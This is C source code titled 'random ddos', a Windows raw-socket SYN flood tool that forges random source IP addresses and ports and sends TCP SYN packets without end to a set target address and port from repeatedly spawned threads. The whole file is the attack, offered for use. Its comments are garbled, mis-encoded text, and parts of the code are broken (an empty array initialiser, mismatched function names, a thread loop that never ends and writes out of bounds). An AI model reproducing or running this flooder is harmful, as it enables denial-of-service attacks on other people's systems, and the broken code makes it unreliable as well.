random ddos

#include "stdafx.h"
#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib,"WS2_32.LIB")

typedef struct tag_ip_Header//ipÊײ¿
{
        unsigned char h_verlen;//4λÊÖ²¿³¤¶È£¬ºÍ4λIP°æ±¾ºÅ
        unsigned char tos;//8λÀàÐÍ·þÎñ
        unsigned short total_len;//16λ×ܳ¤¶È
        unsigned short ident;//16λ±êÖ¾
        unsigned short frag_and_flags;//3λ±ê־루ÈçSYN,ACK,µÈµÈ)
        unsigned char ttl;//8λÉú´æʱ¼ä
        unsigned char proto;//8λЭÒé
        unsigned short checksum;//ipÊÖ²¿Ð§ÑéºÍ
        unsigned int SourceIP;//αÔìIPµØÖ·
        unsigned int DestIP;//¹¥»÷µÄipµØÖ·
}IPHEADER;

typedef struct tag_tcp_Header
{
        USHORT th_sport;//αÔì¶Ë¿Ú
        USHORT th_dport;//¹¥»÷¶Ë¿Ú
        unsigned int th_seq;//32λϵÁкÅ
        unsigned int th_ack;//32λȷÈϺÅ
        unsigned char th_lenres;//4λÊײ¼³¤¶È£¬6λ±£Áô×Ö
        unsigned char th_flag;//6λ±ê־λ
        USHORT th_win;//16λ´°¿Ú´óС
        USHORT th_sum;//16λЧÑéºÍ
        USHORT th_urp;//
}TCPHEADER;

typedef struct tag_tsd_Header
{
        unsigned long saddr;//αÔìµØÖ·
        unsigned long daddr;//¹¥»÷µØÖ·
        char mbz;//
        char ptcl;//ЭÒéÀàÐÍ
        unsigned short tcpl;//TCP³¤¶È
}TSDHEADER;

DWORD WINAPI Start(void);
HANDLE hFind[10];

//¼ÆËãЧÑéºÍ
USHORT checksum(USHORT *buffer,int size)
{
        unsigned long check=0;
        while(size>1)
        {
                check+=*buffer++;
                size -=sizeof(USHORT);
        }
        if(size)
        {
                check += *(USHORT*)buffer;
        }
        check = (check >>16) + (check & 0xffff);
        check += (check >>16);
        return (USHORT)(~check);
}
//¹¥»÷Ïß³Ì
DWORD WINAPI Statr(void)
{
        SOCKET sock;
        WSADATA WSAData;
        SOCKADDR_IN syn_in;
        IPHEADER ipHeader;
        TCPHEADER tcpHeader;
        TSDHEADER psdHeader;
        const char *addr = "127.0.0.1";//¹¥»÷µÄIPµØÖ·
    int port = 135;//Òª¹¥»÷µÄ¶Ë¿Ú
        if(WSAStartup(MAKEWORD(2,2),&WSAData))
        {
                return false;
        }
    if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)
        {
                return false;
        }
        BOOL flag=true;
        if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char*)&flag,sizeof(flag))==SOCKET_ERROR)
        {
                return false;
        }
        int Time =888;
        if(setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&Time,sizeof(Time))==SOCKET_ERROR)
        {
                return false;
        }
        syn_in.sin_family = AF_INET;
        syn_in.sin_port = htons(port);
        syn_in.sin_addr.S_un.S_addr = inet_addr(addr);
    while(TRUE)
        {
        //Ìî³äIPÊײ¿
     ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
     ipHeader.tos=0;
     ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
     ipHeader.ident=1;
     ipHeader.frag_and_flags=0;
     ipHeader.ttl=(unsigned char)GetTickCount()%514+620;
     ipHeader.proto=IPPROTO_TCP;
     ipHeader.checksum=0;
     ipHeader.SourceIP=htonl(GetTickCount()*1986);
     ipHeader.DestIP=inet_addr(addr);
    //Ìî³äTcpÊײ¿
         int SourcePort =GetTickCount()*1986%514;
     tcpHeader.th_dport=htons(port);
     tcpHeader.th_sport=htons(SourcePort);
     tcpHeader.th_seq=htonl(0x12345678);
     tcpHeader.th_ack=0;
     tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
     tcpHeader.th_flag=2;
     tcpHeader.th_win=htons(620);
     tcpHeader.th_urp=0;
     tcpHeader.th_sum=0;
     //Ìî³äTCPαÊײ¿ÓÃÀ´¼ÆËãTCPÍ·²¿µÄЧÑéºÍ
     psdHeader.saddr=ipHeader.SourceIP;
     psdHeader.daddr=ipHeader.DestIP;
     psdHeader.mbz=0;
     psdHeader.ptcl=IPPROTO_TCP;
     psdHeader.tcpl=htons(sizeof(tcpHeader));

     //¼ÆËãУÑéºÍ
         char SendBuff[100]=;
     memcpy(SendBuff, &psdHeader, sizeof(psdHeader));
     memcpy(SendBuff+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
     tcpHeader.th_sum=checksum((USHORT *)SendBuff,sizeof(psdHeader)+sizeof(tcpHeader));
     memcpy(SendBuff, &ipHeader, sizeof(ipHeader));
     memcpy(SendBuff+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));

         //·¢ËÍÊý¾Ý°ü
     int Syn=sendto(sock, SendBuff, sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&syn_in, sizeof(syn_in));
     if(Syn==SOCKET_ERROR)
         {
       return false;
         }
        }
        closesocket(sock);
        WSACleanup();
        return true;
}

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{    //Æô¶¯Ị̈߳¬10£¬´ó¼Ò¿ÉÒÔ×Ô¼º¸Ä
        for(int i=0;i<10;i++)
        {
                hFind[i-1]=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Statr,0,0,NULL);
        i--;
        }
        return 0;
}